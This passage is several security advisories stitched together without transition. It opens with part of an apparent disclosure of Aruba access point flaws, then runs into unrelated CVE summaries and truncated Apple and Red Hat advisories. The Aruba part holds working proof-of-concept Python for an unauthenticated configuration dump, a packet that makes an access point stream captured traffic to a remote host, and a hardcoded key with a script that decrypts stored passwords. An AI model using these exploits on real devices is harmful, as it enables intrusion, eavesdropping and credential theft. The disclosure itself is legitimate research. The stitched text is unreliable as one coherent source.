issued by GeoTrust and valid until 2017. The key and cert was found under the path /aruba/conf/cpprivkey.pem. $ openssl x509 -in cpprivkey.pem -text -noout Certificate: Data: Version: 3 (0x2) Serial Number: 121426 (0x1da52) Signature Algorithm: sha1WithRSAEncryption Issuer: C=US, O=GeoTrust Inc., OU=Domain Validated SSL, CN=GeoTrust DV SSL CA Validity Not Before: May 11 01:22:10 2011 GMT Not After : Aug 11 04:40:59 2017 GMT Subject: serialNumber=lLUge2fRPkWcJe7boLSVdsKOFK8wv3MF, C=US, O=securelogin.arubanetworks.com, OU=GT28470348, OU=See www.geotrust.com/resources/cps (c)11, OU=Domain Control Validated - QuickSSL(R) Premium, CN=securelogin.arubanetworks.com [...] $ openssl rsa -in cpprivkey.pem -check RSA key ok writing RSA key -----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEA…. [...] -----END RSA PRIVATE KEY----- --------------------------------------- 20. AP: Potential signature private key --------------------------------------- A potential SSL key was found under the path /etc/sig.key. Based on the header (3082xxxx[02,03]82), the file looks like a SSL key in DER format: $ xxd etc/sig.key 00000000: 3082 020a 0282 0201 00d9 2d71 db0f decb 0.........-q.... It was not possible to decode the key. Therefore it's not 100% clear if is an actual key or just a garbaged file. ------------------------------------------------ 21. AP: PAPI Endpoints exposed to all interfaces ------------------------------------------------ The PAPI endpoint "msgHandler" creates listeners on all interfaces. Therefore it is reachable via wired and wireless connections to the AP. This increases the potential attack surface. # netstat -nlu | grep :82 udp 0 0 :::8209 :::* udp 0 0 :::8211 :::* Additionally the local ACL table of the AP contains a default firewall rule, permitting any traffic to udp/8209-8211, overwriting any manually set ACL to block access to PAPI: 00:0b:86:XX:XX:XX# show datapath acl 106 Datapath ACL 106 Entries ----------------------- Flags: P - permit, L - log, E - established, M/e - MAC/etype filter S - SNAT, D - DNAT, R - redirect, r - reverse redirect m - Mirror I - Invert SA, i - Invert DA, H - high prio, O - set prio, C - Classify Media A - Disable Scanning, B - black list, T - set TOS, 4 - IPv4, 6 - IPv6 K - App Throttle, d - Domain DA ---------------------------------------------------------------- 1: any any 17 0-65535 8209-8211 P4 [...] 12: any any any P4 00:0b:86:XX:XX:XX# ------------------------------------------------------ 22. AP: PAPI Endpoint does not validate MD5 signatures ------------------------------------------------------ MD5 signature validation for incoming PAPI packets is disabled on the AP: # ps | grep msgHandler 1988 root 508 S < /aruba/bin/msgHandler -n # /aruba/bin/msgHandler -h usage: msgHandler [-d] [-n] -d = enable debug prints. -n = disable md5 signatures. -g = disable garbling. The watchdog service ("nanny") also restarts the PAPI handler with disabled MD5 signature validation: # grep msgH /aruba/bin/nanny_list RESTART /aruba/bin/msgHandler -n -------------------------------------------------------------- 23. AP: PAPI protocol encrypted with weak encryption algorithm -------------------------------------------------------------- PAPI packets sent to an AP contain an encrypted payload. The encryption seems to replace the MD5 signature check as described in #4 and used when PAPI is sent from AP to AMP. This might also explain why the PAPI endpoint runs with disabled MD5 signature verification on the AP (see #22). The following example shows an encrypted PAPI packet for the command "show version" as received by the AP: 0000 49 72 00 03 7f 00 00 01 0a 00 00 01 00 00 20 13 Ir............ 0010 3b 60 3b 7e 20 04 00 00 00 03 00 00 00 00 00 00 ;`;~ ........... 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0040 00 00 00 00 00 00 00 00 00 00 00 00 97 93 93 93 ................ 0050 a9 97 93 93 92 6e 96 99 93 93 92 95 94 91 93 97 .....n.......... 0060 93 93 93 93 93 93 87 e9 eb e1 fc d0 dc c6 e4 fd ................ 0070 fa e1 f7 e9 d1 a6 f7 e7 c5 eb f1 93 93 9e e0 fb ................ 0080 fc e4 b3 e5 f6 e1 e0 fa fc fd 99 ........... Important parts of the above packet: 7f 00 00 01 Destination IP (127.0.0.1) 0a 00 00 01 Source IP (10.0.0.1) 3b 60 Destination Port (15200) 3b 7e Source Port (15230) 97 93 93 93-EOF Encrypted PAPI payload Comparison of the above packet with a typical PAPI packet that is sent from the AP to the AMP quickly highlights the missing 0x00 that are used to pad certain fields of the PAPI payload. These 0x00 seem to be substituted with 0x93, which is a clear indication that the payload is "encrypted" with a 1 byte XOR. As XOR'ing 0x00 with 1 byte results in the same byte, the payload therefore discloses the key used and use of the weak XOR algorithm: 0x00: 00000000 ^ 0x93: 10010011 ================ 10010011 (0x93) The following shows the above PAPI packet for "show version" with its payload decrypted: 0000 49 72 00 03 7f 00 00 01 0a 00 00 01 00 00 20 13 Ir............ 0010 3b 60 3b 7e 20 04 00 00 00 03 00 00 00 00 00 00 ;`;~ ........... 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0040 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 ................ 0050 3a 04 00 00 01 fd 05 0a 00 00 01 06 07 02 00 04 :............... 0060 00 00 00 00 00 00 14 7a 78 72 6f 43 4f 55 77 6e .......zxroCOUwn 0070 69 72 64 7a 42 35 64 74 56 78 62 00 00 0d 73 68 irdzB5dtVxb...sh 0080 6f 77 20 76 65 72 73 69 6f 6e 0a ow version. (The string starting with "zxr..." is a HTTP session ID, see #25 on details how to bypass this). An example Python function for en-/decrypting PAPI payloads could look like this: def aruba_encrypt(s): return ''.join([chr(ord(c) ^ 0x93) for c in s]) ------------------------------------------- 24. AP: PAPI protocol authentication bypass ------------------------------------------- Besides it's typical use between different Aruba devices, PAPI is also used as an inter-process communication (IPC) mechanism between the CGI based web frontend and the backend processes on the AP. Certain commands that can be sent via PAPI are only supposed to be used via this IPC interface and not from an external source. Besides the weak "encryption" that is described in #23, some PAPI packets contain a HTTP session ID (SID), that matches the SID issued at login to the web frontend. Example IPC packet (payload decrypted as shown in #23): 0000 49 72 00 03 7f 00 00 01 0a 00 00 01 00 00 20 13 Ir............ 0010 3b 60 3b 7e 20 04 00 00 00 03 00 00 00 00 00 00 ;`;~ ........... 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0040 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 ................ 0050 40 04 00 00 01 fd 05 0a 00 00 01 06 07 02 00 04 @............... 0060 00 00 00 00 00 00 14 7a 78 72 6f 43 4f 55 77 6e .......zxroCOUwn 0070 69 72 64 7a 42 35 64 74 56 78 62 00 00 13 73 68 irdzB5dtVxb...sh 0080 6f 77 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e ow configuration 0090 0a . The SID in the example shown is "zxroCOUwnirdzB5dtVxb". The 0x14 before that indicates the length of the 20 byte SID. If the session is expired or an invalid session is specified, the packet is rejected by the PAPI endpoint (msgHandler). Replacing the 20 byte SID with 20 * 0x00, bypasses the SID check and therefore allows unauthenticated PAPI communication with the AP. Example IPC packet (Session ID replaced with 20 * 0x00, payload not XOR'ed for readability): 0000 49 72 00 03 7f 00 00 01 0a 00 00 01 00 00 20 13 Ir............ 0010 3b 60 3b 7e 20 04 00 00 00 03 00 00 00 00 00 00 ;`;~ ........... 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0040 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 ................ 0050 40 04 00 00 01 fd 05 0a 00 00 01 06 07 02 00 04 @............... 0060 00 00 00 00 00 00 14 00 00 00 00 00 00 00 00 00 ................ 0070 00 00 00 00 00 00 00 00 00 00 00 00 00 13 73 68 ..............sh 0080 6f 77 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e ow configuration 0090 0a Using the above example, it is possible to request the system configuration from an AP, bypassing all authentication methods. If the above packet is sent using IPC from the webfrontend cgi to the backend, (localhost) the reply looks like follows: msg_ref 303 /tmp/.cli_msg_SW9iVE The cgi binary then reads this file and renders the content in the HTTP reply. If the PAPI packet comes from an external address (instead of localhost) the reply points to the APs web server (10.0.0.26 in this case) instead of /tmp/: msg_ref 2689 http://10.0.0.26/.cli_msg_n011xh Access to this file does not require authentication which raises the severity of this vulnerability significantly. The following Python script is a proof of concept for this vulnerability, sending a "show configuration" packet to an AP with the IP address 10.0.0.26: import socket def aruba_encrypt(s): return ''.join([chr(ord(c) ^ 0x93) for c in s]) header = ( '\x49\x72\x00\x03\x7f\x00\x00\x01\x0a\x00\x00\x01\x00\x00\x20\x13' '\x3b\x60\x3b\x7e\x20\x04\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ) payload = ( # show configuration '\x04\x00\x00\x00\x40\x04\x00\x00\x01\xfd\x05\x0a\x00\x00\x01\x06' '\x07\x02\x00\x04\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x13\x73\x68\x6f\x77\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61' '\x74\x69\x6f\x6e\x0a' ) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(('', 1337)) sock.sendto(header + aruba_encrypt(payload), ('10.0.0.26', 8211)) buff = sock.recvfrom(4096) print aruba_encrypt(buff[0]) Executing the above PoC: # python arupapi.py [...]msg_ref 2689 http://10.0.0.26/.cli_msg_n011xh Downloading the file referenced by the reply returns the full AP configuration, including all users, passwords and settings (no auth is required on the HTTP request either): # curl -Lk http://10.0.0.26/.cli_msg_n011xh version 6.4.2.0-4.1.1 virtual-controller-country XX virtual-controller-key b49ff***REMOVED*** name instant-XX:XX:XX terminal-access clock timezone none 00 00 rf-band all [...] mgmt-user admin f9ac59cd431e174fb07539a8a811a1aa [...] (full configuration file continues) For APs running in "managed mode", the above shown exploit does not work. The reason for that is, that these APs don't provide a web server and have only a limited set of commands that can be executed via PAPI. Additionally, APs in managed mode do not seem to use the XOR based "encryption" or MD5 checksums - there was no authentication/encryption found at all. One interesting payload for APs in "managed mode" using the limited subset of available commands is the ability to capture traffic and send it to a remote endpoint via UDP. The example command on the controller would be: (aruba_7030_1) #ap packet-capture raw-start ip-addr 192.168.0.1 100.105.134.45 1337 0 radio 0 This command would send all traffic of AP 192.168.0.1 from the first radio interface in PCAP format to 100.105.134.45:1337. Wrapped in PAPI, the Packet would look like this: 0000 49 72 00 03 c0 a8 00 01 7f 00 00 01 00 00 00 00 Ir.............. 0010 20 21 20 1c 20 04 01 48 14 08 36 b1 00 00 00 00 ! . ..H..6..... 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 65 ...............e 0050 78 65 63 75 74 65 43 6f 6d 6d 61 6e 64 4f 62 6a xecuteCommandObj 0060 65 63 74 02 06 02 04 03 00 08 03 00 08 00 00 04 ect............. 0070 38 32 32 35 02 06 02 04 00 00 00 03 00 00 02 00 8225............ 0080 02 01 04 00 00 00 08 00 00 02 41 50 00 00 02 41 ..........AP...A 0090 50 00 00 0e 50 41 43 4b 45 54 2d 43 41 50 54 55 P...PACKET-CAPTU 00a0 52 45 00 00 0e 50 41 43 4b 45 54 2d 43 41 50 54 RE...PACKET-CAPT 00b0 55 52 45 00 00 09 52 41 57 2d 53 54 41 52 54 00 URE...RAW-START. 00c0 00 09 52 41 57 2d 53 54 41 52 54 00 00 07 49 50 ..RAW-START...IP 00d0 2d 41 44 44 52 00 00 0b 31 39 32 2e 31 36 38 2e -ADDR...192.168. 00e0 30 2e 31 00 00 09 74 61 72 67 65 74 2d 69 70 00 0.1...target-ip. 00f0 00 0e 31 30 30 2e 31 30 35 2e 31 33 34 2e 34 35 ..100.105.134.45 0100 00 00 0b 74 61 72 67 65 74 2d 70 6f 72 74 00 00 ...target-port.. 0110 04 31 33 33 37 00 00 06 66 6f 72 6d 61 74 00 00 .1337...format.. 0120 01 30 00 00 05 52 41 44 49 4f 00 00 01 30 04 00 .0...RADIO...0.. 0130 00 00 00 02 00 02 01 02 00 02 00 00 00 04 73 65 ..............se 0140 63 61 00 00 04 72 6f 6f 74 ca...root When sending this packet to an AP running in managed mode, it confirms the command and starts sending traffic to the specified host: [...]<re><data name="Packet capture has started for pcap-id" pn="true">1</data></re> --------------------------------------------------------- 25. AP: Broadcast with detailed system information (LLDP) --------------------------------------------------------- Aruba APs broadcast detailed system and version information to the wired networks via LLDP (Link Layer Discovery Protocol). 0000 02 07 04 00 0b 86 9e 7a 32 04 07 03 00 0b 86 9e .......z2....... 0010 7a 32 06 02 00 78 0a 11 30 30 3a 30 62 3a 38 36 z2...x..00:0b:86 0020 3a XX XX 3a XX XX 3a XX XX 0c 3a 41 72 75 62 61 :XX:XX:XX.:Aruba 0030 4f 53 20 28 4d 4f 44 45 4c 3a 20 52 41 50 2d 31 OS (MODEL: RAP-1 0040 35 35 29 2c 20 56 65 72 73 69 6f 6e 20 36 2e 34 55), Version 6.4 0050 2e 32 2e 36 2d 34 2e 31 2e 31 2e 31 30 20 28 35 .2.6-4.1.1.10 (5 0060 31 38 31 30 29 0e 04 00 0c 00 08 10 0c 05 01 0a 1810)........... 0070 00 00 22 02 00 00 00 0e 00 08 04 65 74 68 30 fe .."........eth0. 0080 06 00 0b 86 01 00 01 fe 09 00 12 0f 03 00 00 00 ................ 0090 00 00 fe 09 00 12 0f 01 03 6c 03 00 10 fe 06 00 .........l...... 00a0 12 0f 04 06 76 00 00 ....v.. The broadcast packet contains the APs MAC address, model number and exact firmware version.This detailed information could aid an attacker to easily find and identify potential targets for known vulnerabilities. ------------------------------------------------------ 26. AP: User passwords are encrypted with a static key ------------------------------------------------------ Based on the vulnerability shown in #24 which potentially discloses the password hashes of AP user accounts, the implemented hashing algorithm was tested. CVE-2014-7299 describes the password hashes as "encrypted password hashes". The following line shows the mgmt-user configuration for the user "admin" with password "admin": mgmt-user admin f9ac59cd431e174fb07539a8a811a1aa Some testing with various passwords and especially password lengths showed that the passwords are actually encrypted and not hashed (as hash algorithms produce the same length output for different length input): f9ac59cd431e174fb07539a8a811a1aa # admin d7a75c655b8e2fb8609d0b04275e02767f2dfae8c63088cf # adminadmin The encryption algorithm used for the above passwords turned out to be 3DES in CBC mode. The encryption algorithm uses a 24 byte static key which is hardcoded on the AP. Sampling of different Firmware versions confirmed that the key is identical for all available versions. The IV required for 3DES consists of 8 random bytes, and is stored as the first 8 byte of the encrypted password. The following Python script can be used to decrypt the above hashes: import pyDes hashes = ( 'f9ac59cd431e174fb07539a8a811a1aa', # admin 'd7a75c655b8e2fb8609d0b04275e02767f2dfae8c63088cf' # adminadmin ) key = ( '\x32\x74\x10\x84\x91\x17\x75\x46\x14\x75\x82\x92' '\x43\x49\x04\x59\x18\x69\x15\x94\x27\x84\x30\x03' ) for h in hashes: d = pyDes.triple_des(key, pyDes.CBC, h.decode('hex')[:8], pad='\00') print h, '=>', d.decrypt(h.decode('hex')[8:]) Mitigation ========== Aruba released three advisories, related to the issues reported here: http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2016-004.txt http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2016-005.txt http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2016-006.txt Following the resolution advises given in those advisories is strongly recommended. These advisories are also available on the Aruba security bulletin: http://www.arubanetworks.com/support-services/security-bulletins/ For the vulnerabilities related to PAPI, Aruba has made the following document available: http://community.arubanetworks.com/aruba/attachments/aruba/aaa-nac-guest-access-byod/25840/1/Control_Plane_Security_Best_Practices_1_0.pdf This doc gives several advises how to remediate the PAPI related vulnerabilities. An update fixing the issues is announced for Q3/2016. For further information there is also a discussion thread in Aruba's Airheads Community Forum: http://community.arubanetworks.com/t5/AAA-NAC-Guest-Access-BYOD/Security-vulnerability-advisories/m-p/266095#M25840 Author ====== The vulnerabilities were discovered by Sven Blumenstein from Google Security Team. Timeline ======== 2016/01/22 - Security report sent to sirt@arubanetworks.com with 90 day disclosure deadline (2016/04/22). 2016/01/22 - Aruba acknowledges report and starts working on the issues. 2016/02/01 - Asking Aruba for ETA on detailed feedback. 2016/02/03 - Detailed feedback for all reported vulnerabilities received. 2016/02/16 - Answered several questions from the feedback, asked Aruba for patch ETA. 2016/02/29 - Pinged for patch ETA. 2016/03/08 - Pinged for patch ETA. 2016/03/12 - Received detailed list with approx. ETA for patch releases and current status. 2016/03/21 - Aruba asks for extension of 90 day disclosure deadline. 2016/03/24 - Asked Aruba for exact patch release dates. 2016/04/02 - Aruba confirmed 4.2.x branch update for 2016/04/15, 4.1.x branch update for 2016/04/30 (past 90 day deadline). 2016/04/14 - 14 day grace period for disclosure was granted, according to the disclosure policy. New disclosure date was set to 2016/05/06. 2016/05/02 - Asking for status of still unreleased 'end of April' update. 2016/05/02 - Aruba confirmed availability of update on 2016/05/09 (after grace period). 2016/05/03 - Aruba released three advisories on http://www.arubanetworks.com/support-services/security-bulletins/ 2016/05/06 - Public disclosure

The authentication-manager process in the web framework in Cisco Intrusion Prevention System (IPS) 7.0(8)E4 and earlier in Cisco Intrusion Detection System (IDS) does not properly manage user tokens, which allows remote attackers to cause a denial of service (temporary MainApp hang) via a crafted connection request to the management interface, aka Bug ID CSCuq39550. Vendors have confirmed this vulnerability Bug ID CSCuq39550 It is released as.Service disruption by a third party via a crafted connection request to the management interface (MainApp Temporary hang of ) There is a possibility of being put into a state. Cisco Intrusion Prevention System is prone to a remote denial-of-service vulnerability. Attackers can exploit this issue to cause denial-of-service conditions. This issue is being tracked by Cisco Bug ID CSCuq39550

Google Chrome before 37.0.2062.60 and 38.x before 38.0.2125.59 on iOS does not properly restrict processing of (1) facetime:// and (2) facetime-audio:// URLs, which allows remote attackers to obtain video and audio data from a device via a crafted web site. Google Chrome for iOS is prone to an unspecified security vulnerability. The impact of this issue is currently unknown. We will update this BID when more information emerges. Versions prior to Google Chrome for iOS 38.0.2125.59 are vulnerable. Google Chrome is a web browser developed by Google (Google). The vulnerability stems from the fact that the program does not correctly handle the restrictions of facetime:// and facetime-audio:// URLs

Use-after-free vulnerability in the ProcessingInstruction::setXSLStyleSheet function in core/dom/ProcessingInstruction.cpp in the DOM implementation in Blink, as used in Google Chrome before 38.0.2125.101, allows remote attackers to cause a denial of service or possibly have unspecified other impact via unknown vectors. Supplementary information : CWE Vulnerability type by CWE-416: Use After Free ( Use of freed memory ) Has been identified. http://cwe.mitre.org/data/definitions/416.htmlService disruption by a third party (DoS) There is a possibility of being affected unspecified, such as being in a state. Google Chrome is prone to multiple security vulnerabilities. Attackers can exploit these issues to execute arbitrary code in the context of the browser, bypass security restrictions, obtain potentially sensitive information, or cause denial-of-service conditions; other attacks may also be possible. Versions prior to Chrome 38.0.2125.101 are vulnerable. Google Chrome is a web browser developed by Google (Google). -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 APPLE-SA-2015-01-27-2 iOS 8.1.3 iOS 8.1.3 is now available and addresses the following: AppleFileConduit Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A maliciously crafted afc command may allow access to protected parts of the filesystem Description: A vulnerability existed in the symbolic linking mechanism of afc. This issue was addressed by adding additional path checks. CVE-ID CVE-2014-4480 : TaiG Jailbreak Team CoreGraphics Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Opening a maliciously crafted PDF file may lead to an unexpected application termination or arbitrary code execution Description: An integer overflow existed in the handling of PDF files. This issue was addressed through improved bounds checking. CVE-ID CVE-2014-4481 : Felipe Andres Manzano of the Binamuse VRT, via the iSIGHT Partners GVP Program dyld Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A local user may be able to execute unsigned code Description: A state management issue existed in the handling of Mach-O executable files with overlapping segments. This issue was addressed through improved validation of segment sizes. CVE-ID CVE-2014-4455 : TaiG Jailbreak Team FontParser Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Opening a maliciously crafted PDF file may lead to an unexpected application termination or arbitrary code execution Description: A buffer overflow existed in the handling of font files. This issue was addressed through improved bounds checking. CVE-ID CVE-2014-4483 : Apple FontParser Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Processing a maliciously crafted .dfont file may lead to an unexpected application termination or arbitrary code execution Description: A memory corruption issue existed in the handling of .dfont files. This issue was addressed through improved bounds checking. CVE-ID CVE-2014-4484 : Gaurav Baruah working with HP's Zero Day Initiative Foundation Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Viewing a maliciously crafted XML file may lead to an unexpected application termination or arbitrary code execution Description: A buffer overflow existed in the XML parser. This issue was addressed through improved bounds checking. CVE-ID CVE-2014-4485 : Apple IOAcceleratorFamily Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious application may be able to execute arbitrary code with system privileges Description: A null pointer dereference existed in IOAcceleratorFamily's handling of resource lists. This issue was addressed by removing unneeded code. CVE-ID CVE-2014-4486 : Ian Beer of Google Project Zero IOHIDFamily Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious application may be able to execute arbitrary code with system privileges Description: A buffer overflow existed in IOHIDFamily. This issue was addressed through improved size validation. CVE-ID CVE-2014-4487 : TaiG Jailbreak Team IOHIDFamily Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious application may be able to execute arbitrary code with system privileges Description: A validation issue existed in IOHIDFamily's handling of resource queue metadata. This issue was addressed through improved validation of metadata. CVE-ID CVE-2014-4488 : Apple IOHIDFamily Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious application may be able to execute arbitrary code with system privileges Description: A null pointer dereference existed in IOHIDFamily's handling of event queues. This issue was addressed through improved validation. CVE-ID CVE-2014-4489 : @beist iTunes Store Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A website may be able to bypass sandbox restrictions using the iTunes Store Description: An issue existed in the handling of URLs redirected from Safari to the iTunes Store that could allow a malicious website to bypass Safari's sandbox restrictions. The issue was addressed with improved filtering of URLs opened by the iTunes Store. CVE-ID CVE-2014-8840 : lokihardt@ASRT working with HP's Zero Day Initiative Kernel Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Maliciously crafted or compromised iOS applications may be able to determine addresses in the kernel Description: An information disclosure issue existed in the handling of APIs related to kernel extensions. Responses containing an OSBundleMachOHeaders key may have included kernel addresses, which may aid in bypassing address space layout randomization protection. This issue was addressed by unsliding the addresses before returning them. CVE-ID CVE-2014-4491 : @PanguTeam, Stefan Esser Kernel Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious application may be able to execute arbitrary code with system privileges Description: An issue existed in the kernel shared memory subsystem that allowed an attacker to write to memory that was intended to be read-only. This issue was addressed with stricter checking of shared memory permissions. CVE-ID CVE-2014-4495 : Ian Beer of Google Project Zero Kernel Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Maliciously crafted or compromised iOS applications may be able to determine addresses in the kernel Description: The mach_port_kobject kernel interface leaked kernel addresses and heap permutation value, which may aid in bypassing address space layout randomization protection. This was addressed by disabling the mach_port_kobject interface in production configurations. CVE-ID CVE-2014-4496 : TaiG Jailbreak Team libnetcore Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious, sandboxed app can compromise the networkd daemon Description: Multiple type confusion issues existed in networkd's handling of interprocess communication. By sending a maliciously formatted message to networkd, it may have been possible to execute arbitrary code as the networkd process. The issue is addressed through additional type checking. CVE-ID CVE-2014-4492 : Ian Beer of Google Project Zero MobileInstallation Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious enterprise-signed application may be able to take control of the local container for applications already on a device Description: A vulnerability existed in the application installation process. This was addressed by preventing enterprise applications from overriding existing applications in specific scenarios. CVE-ID CVE-2014-4493 : Hui Xue and Tao Wei of FireEye, Inc. Springboard Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Enterprise-signed applications may be launched without prompting for trust Description: An issue existed in determining when to prompt for trust when first opening an enterprise-signed application. This issue was addressed through improved code signature validation. CVE-ID CVE-2014-4494 : Song Jin, Hui Xue, and Tao Wei of FireEye, Inc. WebKit Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Visiting a website that frames malicious content may lead to UI spoofing Description: A UI spoofing issue existed in the handling of scrollbar boundaries. This issue was addressed through improved bounds checking. CVE-ID CVE-2014-4467 : Jordan Milne WebKit Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Style sheets are loaded cross-origin which may allow for data exfiltration Description: An SVG loaded in an img element could load a CSS file cross-origin. This issue was addressed through enhanced blocking of external CSS references in SVGs. CVE-ID CVE-2014-4465 : Rennie deGraaf of iSEC Partners WebKit Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Visiting a maliciously crafted website may lead to an unexpected application termination or arbitrary code execution Description: Multiple memory corruption issues existed in WebKit. These issues were addressed through improved memory handling. CVE-ID CVE-2014-3192 : cloudfuzzer CVE-2014-4459 CVE-2014-4466 : Apple CVE-2014-4468 : Apple CVE-2014-4469 : Apple CVE-2014-4470 : Apple CVE-2014-4471 : Apple CVE-2014-4472 : Apple CVE-2014-4473 : Apple CVE-2014-4474 : Apple CVE-2014-4475 : Apple CVE-2014-4476 : Apple CVE-2014-4477 : lokihardt@ASRT working with HP's Zero Day Initiative CVE-2014-4479 : Apple Installation note: This update is available through iTunes and Software Update on your iOS device, and will not appear in your computer's Software Update application, or in the Apple Downloads site. Make sure you have an Internet connection and have installed the latest version of iTunes from www.apple.com/itunes/ iTunes and Software Update on the device will automatically check Apple's update server on its weekly schedule. When an update is detected, it is downloaded and the option to be installed is presented to the user when the iOS device is docked. We recommend applying the update immediately if possible. Selecting Don't Install will present the option the next time you connect your iOS device. The automatic update process may take up to a week depending on the day that iTunes or the device checks for updates. You may manually obtain the update via the Check for Updates button within iTunes, or the Software Update on your device. To check that the iPhone, iPod touch, or iPad has been updated: * Navigate to Settings * Select General * Select About. The version after applying this update will be "8.1.3". Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT1222 This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- Version: GnuPG/MacGPG2 v2.0.22 (Darwin) iQIcBAEBAgAGBQJUx8umAAoJEBcWfLTuOo7tTskQAI5o4uXj16m90mQhSqUYG35F pCbUBiLJj4IWcgLsNDKgnhcmX6YOA+q7LnyCuU91K4DLybFZr5/OrxDU4/qCsKQb 8o6uRHdtfq6zrOrUgv+hKXP36Rf5v/zl/P9JViuJoKZXMQow6DYoTpCaUAUwp23z mrF3EwzZyxfT2ICWwPS7r8A9annIprGBZLJz1Yr7Ek90WILTg9RbgnI60IBfpLzn Bi4ej9FqV2HAy4S9Fad6jyB9E0rAsl6PRMPGKVvOa2o1/mLqiFGR06qyHwJ+ynj8 tTGcnVhiZVaiur807DY1hb6uB2oLFQXxHFYe3T17l3igM/iminMpWfcq/PmnIIwR IASrhc24qgUywOGK6FfVKdoh5KNgb3xK4X7U9YL9/eMwgT48a2qO6lLTfYdFfBCh wEzMAFEDpnkwOSw/s5Ry0eCY+p+DU0Kxr3Ter3zkNO0abf2yXjAtu4nHBk3I1t4P y8fM8vcWhPDTdfhIWp5Vwcs6sxCGXO1/w6Okuv4LlEDkSJ0Vm2AdhnE0TmhWW0BB w7XMGRYdUCYRbGIta1wciD8yR1xeAWGIOL9+tYROfK4jgPgFGNjtkhqMWNxLZwnR IEHZ2hYBhf3bWCtEDP5nZBV7jdUUdMxDzDX9AuPp67SXld2By+iMe8AYgu6EVhfY CfDJ+b9mxdd8GswiT3OO =j9pr -----END PGP SIGNATURE----- . Summary: Updated chromium-browser packages that fix multiple security issues are now available for Red Hat Enterprise Linux 6 Supplementary. Red Hat Product Security has rated this update as having Critical security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section. 2. Relevant releases/architectures: Red Hat Enterprise Linux Desktop Supplementary (v. 6) - i386, x86_64 Red Hat Enterprise Linux Server Supplementary (v. 6) - i386, x86_64 Red Hat Enterprise Linux Workstation Supplementary (v. 6) - i386, x86_64 3. Description: Chromium is an open-source web browser, powered by WebKit (Blink). Several flaws were found in the processing of malformed web content. A web page containing malicious content could cause Chromium to crash or, potentially, execute arbitrary code with the privileges of the user running Chromium. (CVE-2014-3188, CVE-2014-3189, CVE-2014-3190, CVE-2014-3191, CVE-2014-3192, CVE-2014-3193, CVE-2014-3194, CVE-2014-3199, CVE-2014-3200) Several information leak flaws were found in the processing of malformed web content. A web page containing malicious content could cause Chromium to disclose potentially sensitive information. (CVE-2014-3195, CVE-2014-3197, CVE-2014-3198) All Chromium users should upgrade to these updated packages, which contain Chromium version 38.0.2125.101, which corrects these issues. After installing the update, Chromium must be restarted for the changes to take effect. 4. This update is available via the Red Hat Network. Details on how to use the Red Hat Network to apply this update are available at https://access.redhat.com/articles/11258 5. Bugs fixed (https://bugzilla.redhat.com/): 1150848 - CVE-2014-3188 v8: IPC and v8 issue fixed in Google Chrome 38.0.2125.101 1150849 - CVE-2014-3195 v8: information leak fixed in Google Chrome 38.0.2125.101 1151368 - 